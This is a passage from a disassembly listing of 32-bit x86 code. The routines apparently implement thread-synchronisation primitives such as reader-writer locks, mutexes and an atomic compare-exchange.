[ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call ds:dword_4B3AAC mov eax, ds:dword_4B26E0 push esi push eax call sub_401F5A mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_4305AC mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_42C84C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_42C858 ; --------------------------------------------------------------------------- loc_42C84C: ; CODE XREF: _294ADE7B:0042C839j dec eax jz short loc_42C855 dec eax or esi, 0FFFFFFFFh jmp short loc_42C858 ; --------------------------------------------------------------------------- loc_42C855: ; CODE XREF: _294ADE7B:0042C84Dj mov esi, [edi+14h] loc_42C858: ; CODE XREF: _294ADE7B:0042C84Aj ; _294ADE7B:0042C853j cmp dword ptr [edi+20h], 1 jnz short loc_42C877 call sub_401708 push esi call ds:dword_4B3A3C add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C877: ; CODE XREF: _294ADE7B:0042C85Cj push edi call sub_4012DA add esp, 4 push esi call ds:dword_4B3A3C add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C8D0 proc near ; CODE XREF: sub_4016F4j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_42C94A lea esi, [ebx+2Ch] push edi push esi call sub_40208B push esi mov dword ptr [ebx+0Ch], 5 call sub_4010AF push ebx call sub_4012DA mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401AC3 mov eax, [esp+0A0h+var_4C] mov esi, ds:dword_4B38C8 add esp, 10h test eax, eax pop edi jz short loc_42C928 push eax call esi loc_42C928: ; CODE XREF: sub_42C8D0+53j lea eax, [esp+8Ch+var_58] push eax call sub_402090 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_42C94A test [esp+8Ch+var_8], 1 jnz short loc_42C94A push eax call esi loc_42C94A: ; CODE XREF: sub_42C8D0+11j ; sub_42C8D0+6Bj ... pop esi pop ebx add esp, 84h retn sub_42C8D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C990 proc near ; CODE XREF: sub_401C99j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42C9B1 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42C9B1: ; CODE XREF: sub_42C990+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_40208B add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_42C9F2 push esi call sub_402090 push esi call ds:dword_4B3AAC mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C990+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010AF add esp, 4 test ebp, ebp jz short loc_42CA17 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_42CA17: ; CODE XREF: sub_42C990+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_42C990 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CA60 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42CA87 mov eax, [esi+8] test eax, eax jnz short loc_42CA87 mov eax, [esi+4] test eax, eax jnz short loc_42CA87 push esi call sub_402090 push esi call ds:dword_4B3AAC add esp, 8 loc_42CA87: ; CODE XREF: sub_42CA60+7j ; sub_42CA60+Ej ... pop esi retn sub_42CA60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CAA0 proc near ; CODE XREF: sub_4012DAj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_42CB0D mov esi, [ebx+80h] test esi, esi jz short loc_42CB0D push edi loc_42CAB5: ; CODE XREF: sub_42CAA0+6Aj push esi call sub_40208B add esp, 4 test eax, eax jnz short loc_42CB08 mov edi, [esi+8] test edi, edi jz short loc_42CAE3 push edi call sub_40116D add esp, 4 test eax, eax jz short loc_42CAE3 mov edi, [edi+4] test edi, edi jz short loc_42CAE3 push eax call edi add esp, 4 loc_42CAE3: ; CODE XREF: sub_42CAA0+27j ; sub_42CAA0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010AF push esi call sub_40105A mov esi, [ebx+80h] add esp, 8 loc_42CB08: ; CODE XREF: sub_42CAA0+20j test esi, esi jnz short loc_42CAB5 pop edi loc_42CB0D: ; CODE XREF: sub_42CAA0+8j ; sub_42CAA0+12j pop esi pop ebx retn sub_42CAA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB30: ; CODE XREF: sub_401CA8j mov eax, ds:dword_4B26E0 push ebx push edi push eax call sub_40116D mov ebx, [esp+10h] add esp, 4 cmp ebx, 2 mov edi, eax jz short loc_42CB58 cmp ebx, 1 jz short loc_42CB58 push 1 call ds:dword_4B3AB8 loc_42CB58: ; CODE XREF: _294ADE7B:0042CB49j ; _294ADE7B:0042CB4Ej test edi, edi jz short loc_42CB62 test byte ptr [edi+7Ch], 1 jz short loc_42CB85 loc_42CB62: ; CODE XREF: _294ADE7B:0042CB5Aj push esi mov eax, ebx xor esi, esi dec eax jz short loc_42CB72 dec eax jnz short loc_42CB75 or esi, 0FFFFFFFFh jmp short loc_42CB75 ; --------------------------------------------------------------------------- loc_42CB72: ; CODE XREF: _294ADE7B:0042CB68j mov esi, [edi+14h] loc_42CB75: ; CODE XREF: _294ADE7B:0042CB6Bj ; _294ADE7B:0042CB70j call sub_401708 push esi call ds:dword_4B3A3C add esp, 4 pop esi loc_42CB85: ; CODE XREF: _294ADE7B:0042CB60j push 1 call sub_401A23 add esp, 4 add edi, 3Ch push ebx push edi call ds:dword_4B3A30 nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CBC0 proc near ; CODE XREF: sub_401A23j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401109 add esp, 4 test eax, eax jz short loc_42CBDF loc_42CBD2: ; CODE XREF: sub_42CBC0+1Dj push esi call sub_401109 add esp, 4 test eax, eax jnz short loc_42CBD2 loc_42CBDF: ; CODE XREF: sub_42CBC0+10j pop esi retn sub_42CBC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CC00: ; CODE XREF: _294ADE7B:00401CB2j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CC20 proc near ; CODE XREF: sub_401299j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_42CC20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC60 proc near ; CODE XREF: sub_401B13j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi call ds:dword_4B3878 push eax call ds:dword_4B3810 test eax, eax jz short loc_42CCA2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_42CC8C: ; CODE XREF: sub_42CC60+33j test eax, edx jz short loc_42CC91 inc ecx loc_42CC91: ; CODE XREF: sub_42CC60+2Ej shl eax, 1 jnz short loc_42CC8C mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CCA2: ; CODE XREF: sub_42CC60+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_42CC60 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CCD0 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 push esi push offset dword_4B27C0 xor esi, esi call ds:dword_4B3868 mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42CD04 push esi push ecx call sub_401E29 add esp, 8 mov esi, eax push offset dword_4B27C0 call ds:dword_4B386C mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42CD04: ; CODE XREF: sub_42CCD0+17j test eax, eax jnz short loc_42CD0D mov esi, 16h loc_42CD0D: ; CODE XREF: sub_42CCD0+36j push offset dword_4B27C0 call ds:dword_4B386C mov eax, esi pop esi retn sub_42CCD0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CD40 proc near ; CODE XREF: sub_401799j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010AF push esi call sub_4010AF add esp, 8 pop esi retn sub_42CD40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CD80 proc near ; CODE XREF: sub_401E29j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_42CD92 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42CD92: ; CODE XREF: sub_42CD80+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_42CDB2 cmp dword ptr [eax], 0 jz short loc_42CDB2 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_42CDB2: ; CODE XREF: sub_42CD80+1Aj ; sub_42CD80+1Fj push 1Ch push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42CDD6 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_42CDD6: ; CODE XREF: sub_42CD80+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_40200E mov edi, eax add esp, 8 test edi, edi jnz short loc_42CE34 lea ebx, [esi+4] push eax push ebx call sub_40200E mov edi, eax add esp, 8 test edi, edi jnz short loc_42CE2B push eax lea eax, [esi+8] push eax call sub_4014D8 mov edi, eax add esp, 8 test edi, edi jz short loc_42CE4C push ebx call sub_402090 add esp, 4 loc_42CE2B: ; CODE XREF: sub_42CD80+8Dj push esi call sub_402090 add esp, 4 loc_42CE34: ; CODE XREF: sub_42CD80+7Aj push esi call ds:dword_4B3AAC mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_42CE4C: ; CODE XREF: sub_42CD80+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_42CD80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CEB0: ; CODE XREF: _294ADE7B:004017DFj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_42CFEB mov esi, [eax] test esi, esi jz loc_42CFEB cmp esi, 0FFFFFFFFh jz loc_42CFA7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_42CFEB push esi call sub_40208B add esp, 4 test eax, eax jnz loc_42CFF0 lea edi, [esi+4] push edi call sub_40208B mov ebx, eax add esp, 4 test ebx, ebx jz short loc_42CF19 push esi call sub_4010AF add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42CF19: ; CODE XREF: _294ADE7B:0042CF07j mov eax, [esi+10h] test eax, eax jg short loc_42CF8D mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_42CF8D push edi mov dword ptr [esi+18h], 0 call sub_4010AF add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_42CF50 call sub_4010AF add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42CF50: ; CODE XREF: _294ADE7B:0042CF3Fj call sub_4010AF add esp, 4 test eax, eax jnz loc_42CFF0 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_4019B0 push edi mov ebx, eax call sub_402090 push esi mov edi, eax call sub_402090 push esi mov ebp, eax call ds:dword_4B3AAC add esp, 10h jmp short loc_42CFD3 ; --------------------------------------------------------------------------- loc_42CF8D: ; CODE XREF: _294ADE7B:0042CF1Ej ; _294ADE7B:0042CF28j push edi call sub_4010AF push esi mov ebx, eax call sub_4010AF add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_42CFD3 ; --------------------------------------------------------------------------- loc_42CFA7: ; CODE XREF: _294ADE7B:0042CED3j push offset dword_4B27C0 call ds:dword_4B3868 mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_42CFC3 mov dword ptr [eax], 0 jmp short loc_42CFC8 ; --------------------------------------------------------------------------- loc_42CFC3: ; CODE XREF: _294ADE7B:0042CFB9j mov ebx, 10h loc_42CFC8: ; CODE XREF: _294ADE7B:0042CFC1j push offset dword_4B27C0 call ds:dword_4B386C loc_42CFD3: ; CODE XREF: _294ADE7B:0042CF8Bj ; _294ADE7B:0042CFA5j test ebx, ebx jz short loc_42CFDE pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42CFDE: ; CODE XREF: _294ADE7B:0042CFD5j test edi, edi mov eax, edi jnz short loc_42CFF0 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42CFEB: ; CODE XREF: _294ADE7B:0042CEC0j ; _294ADE7B:0042CECAj ... mov eax, 16h loc_42CFF0: ; CODE XREF: _294ADE7B:0042CEF1j ; _294ADE7B:0042CF5Aj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D060: ; CODE XREF: _294ADE7B:00401D52j push esi push 4 push 1 xor esi, esi call ds:dword_4B3A64 add esp, 8 test eax, eax jnz short loc_42D083 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D083: ; CODE XREF: _294ADE7B:0042D072j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D0B0: ; CODE XREF: _294ADE7B:004016EAj mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42D0D1 mov eax, [ecx] test eax, eax jz short loc_42D0D1 push eax mov [ecx], esi call ds:dword_4B3AAC add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42D0D1: ; CODE XREF: _294ADE7B:0042D0B9j ; _294ADE7B:0042D0BFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D0F0: ; CODE XREF: _294ADE7B:00401118j mov eax, [esp+4] test eax, eax jz short loc_42D10D mov eax, [eax] test eax, eax jz short loc_42D10D mov ecx, [esp+8] test ecx, ecx jz short loc_42D10D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42D10D: ; CODE XREF: _294ADE7B:0042D0F6j ; _294ADE7B:0042D0FCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D130: ; CODE XREF: _294ADE7B:0040152Dj mov eax, [esp+4] test eax, eax jz short loc_42D15A mov ecx, [eax] test ecx, ecx jz short loc_42D15A mov eax, [esp+8] cmp eax, 1 jz short loc_42D14E test eax, eax jnz short loc_42D15A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42D14E: ; CODE XREF: _294ADE7B:0042D145j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42D15A: ; CODE XREF: _294ADE7B:0042D136j ; _294ADE7B:0042D13Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D170: ; CODE XREF: _294ADE7B:00401F05j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_42D22A mov eax, [esi] test eax, eax jz loc_42D22A cmp eax, 0FFFFFFFFh jnz short loc_42D1A4 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D1A4 cmp eax, 10h jnz loc_42D22F loc_42D1A4: ; CODE XREF: _294ADE7B:0042D18Cj ; _294ADE7B:0042D199j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_42D22A push esi call sub_40208B add esp, 4 test eax, eax jnz short loc_42D22F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_42D21D lea edi, [esi+4] push edi call sub_40208B mov ebx, eax add esp, 4 test ebx, ebx jz short loc_42D1ED push esi call sub_4010AF add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D1ED: ; CODE XREF: _294ADE7B:0042D1DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010AF mov edi, eax add esp, 4 test edi, edi jz short loc_42D21D push esi call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D21D: ; CODE XREF: _294ADE7B:0042D1CAj ; _294ADE7B:0042D20Cj push esi call sub_4010AF add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D22A: ; CODE XREF: _294ADE7B:0042D179j ; _294ADE7B:0042D183j ... mov eax, 16h loc_42D22F: ; CODE XREF: _294ADE7B:0042D19Ej ; _294ADE7B:0042D1BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D280: ; CODE XREF: _294ADE7B:0040160Ej push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_42D34F mov eax, [esi] test eax, eax jz loc_42D34F cmp eax, 0FFFFFFFFh jnz short loc_42D2B4 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D2B4 cmp eax, 10h jnz loc_42D354 loc_42D2B4: ; CODE XREF: _294ADE7B:0042D29Cj ; _294ADE7B:0042D2A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_42D34F mov ebx, [esp+14h] push ebx push esi call sub_401AC8 add esp, 8 test eax, eax jnz short loc_42D354 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_42D342 lea edi, [esi+4] push ebx push edi call sub_401AC8 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_42D312 cmp ebx, 274Ch jnz short loc_42D303 inc dword ptr [esi+14h] loc_42D303: ; CODE XREF: _294ADE7B:0042D2FEj push esi call sub_4010AF add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D312: ; CODE XREF: _294ADE7B:0042D2F6j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010AF mov edi, eax add esp, 4 test edi, edi jz short loc_42D342 push esi call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D342: ; CODE XREF: _294ADE7B:0042D2E3j ; _294ADE7B:0042D331j push esi call sub_4010AF add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D34F: ; CODE XREF: _294ADE7B:0042D289j ; _294ADE7B:0042D293j ... mov eax, 16h loc_42D354: ; CODE XREF: _294ADE7B:0042D2AEj ; _294ADE7B:0042D2D3j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D3A0: ; CODE XREF: _294ADE7B:00401555j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_42D496 mov eax, [esi] test eax, eax jz loc_42D496 cmp eax, 0FFFFFFFFh jnz short loc_42D3D7 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D3D7 cmp eax, 10h jnz loc_42D49B loc_42D3D7: ; CODE XREF: _294ADE7B:0042D3BFj ; _294ADE7B:0042D3CCj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_42D496 push esi call sub_40208B add esp, 4 test eax, eax jnz loc_42D49B lea ebp, [esi+4] push ebp call sub_40208B mov edi, eax add esp, 4 test edi, edi jz short loc_42D41B push esi call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42D41B: ; CODE XREF: _294ADE7B:0042D407j mov eax, [esi+10h] test eax, eax jnz short loc_42D48A mov eax, [esi+14h] test eax, eax jle short loc_42D438 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_42D438: ; CODE XREF: _294ADE7B:0042D427j mov eax, [esi+0Ch] test eax, eax jle short loc_42D48A neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401799 push eax call sub_4015D7 add esp, 0Ch lea ebx, [esi+8] loc_42D45B: ; CODE XREF: _294ADE7B:0042D470j push ebp push ebx call sub_4011DB mov edi, eax add esp, 8 test edi, edi jnz short loc_42D472 mov eax, [esi+14h] test eax, eax jl short loc_42D45B loc_42D472: ; CODE XREF: _294ADE7B:0042D469j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401109 add esp, 4 test edi, edi pop ebx jnz short loc_42D48D mov [esi+0Ch], edi loc_42D48A: ; CODE XREF: _294ADE7B:0042D420j ; _294ADE7B:0042D43Dj inc dword ptr [esi+10h] loc_42D48D: ; CODE XREF: _294ADE7B:0042D485j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42D496: ; CODE XREF: _294ADE7B:0042D3ACj ; _294ADE7B:0042D3B6j ... mov eax, 16h loc_42D49B: ; CODE XREF: _294ADE7B:0042D3D1j ; _294ADE7B:0042D3F1j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D500: ; CODE XREF: _294ADE7B:0040187Aj sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_42D601 mov eax, [esi] test eax, eax jz loc_42D601 cmp eax, 0FFFFFFFFh jnz short loc_42D537 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D537 cmp eax, 10h jnz loc_42D606 loc_42D537: ; CODE XREF: _294ADE7B:0042D51Fj ; _294ADE7B:0042D52Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_42D601 mov edi, [esp+20h] push edi push esi call sub_401AC8 add esp, 8 test eax, eax jnz loc_42D606 lea ebp, [esi+4] push edi push ebp call sub_401AC8 mov edi, eax add esp, 8 test edi, edi jz short loc_42D581 push esi call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42D581: ; CODE XREF: _294ADE7B:0042D56Dj mov eax, [esi+10h] test eax, eax jnz short loc_42D5F5 mov eax, [esi+14h] test eax, eax jle short loc_42D59E mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_42D59E: ; CODE XREF: _294ADE7B:0042D58Dj mov eax, [esi+0Ch] test eax, eax jle short loc_42D5F5 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401799 push eax call sub_4015D7 add esp, 0Ch lea ebx, [esi+8] loc_42D5C1: ; CODE XREF: _294ADE7B:0042D5DBj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011B8 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_42D5DD mov eax, [esi+14h] test eax, eax jl short loc_42D5C1 loc_42D5DD: ; CODE XREF: _294ADE7B:0042D5D4j xor edx, edx test edi, edi setnz dl push edx call sub_401109 add esp, 4 test edi, edi pop ebx jnz short loc_42D5F8 mov [esi+0Ch], edi loc_42D5F5: ; CODE XREF: _294ADE7B:0042D586j ; _294ADE7B:0042D5A3j inc dword ptr [esi+10h] loc_42D5F8: ; CODE XREF: _294ADE7B:0042D5F0j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42D601: ; CODE XREF: _294ADE7B:0042D50Cj ; _294ADE7B:0042D516j ... mov eax, 16h loc_42D606: ; CODE XREF: _294ADE7B:0042D531j ; _294ADE7B:0042D556j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D660: ; CODE XREF: _294ADE7B:0040154Bj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_42D6E6 mov esi, [eax] test esi, esi jz short loc_42D6E6 cmp esi, 0FFFFFFFFh jnz short loc_42D67C pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42D67C: ; CODE XREF: _294ADE7B:0042D674j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_42D6E6 mov eax, [esi+10h] test eax, eax jnz short loc_42D6C4 lea ebx, [esi+4] push ebx call sub_40208B mov edi, eax add esp, 4 test edi, edi jz short loc_42D6A2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D6A2: ; CODE XREF: _294ADE7B:0042D69Cj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_42D6B9 add esi, 8 push esi call sub_401D16 add esp, 4 mov edi, eax loc_42D6B9: ; CODE XREF: _294ADE7B:0042D6A9j push ebx call sub_4010AF add esp, 4 jmp short loc_42D6DC ; --------------------------------------------------------------------------- loc_42D6C4: ; CODE XREF: _294ADE7B:0042D68Aj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010AF push esi mov edi, eax call sub_4010AF add esp, 8 loc_42D6DC: ; CODE XREF: _294ADE7B:0042D6C2j test edi, edi jz short loc_42D6EB mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D6E6: ; CODE XREF: _294ADE7B:0042D669j ; _294ADE7B:0042D66Fj ... mov eax, 16h loc_42D6EB: ; CODE XREF: _294ADE7B:0042D6DEj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D720: ; CODE XREF: _294ADE7B:004014C9j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_42D7DA mov eax, [esi] test eax, eax jz loc_42D7DA cmp eax, 0FFFFFFFFh jnz short loc_42D754 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D754 cmp eax, 10h jnz loc_42D7DF loc_42D754: ; CODE XREF: _294ADE7B:0042D73Cj ; _294ADE7B:0042D749j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_42D7DA push esi call sub_4016DB add esp, 4 test eax, eax jnz short loc_42D7DF mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_42D7CD lea edi, [esi+4] push edi call sub_40208B mov ebx, eax add esp, 4 test ebx, ebx jz short loc_42D79D push esi call sub_4010AF add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D79D: ; CODE XREF: _294ADE7B:0042D78Cj mov 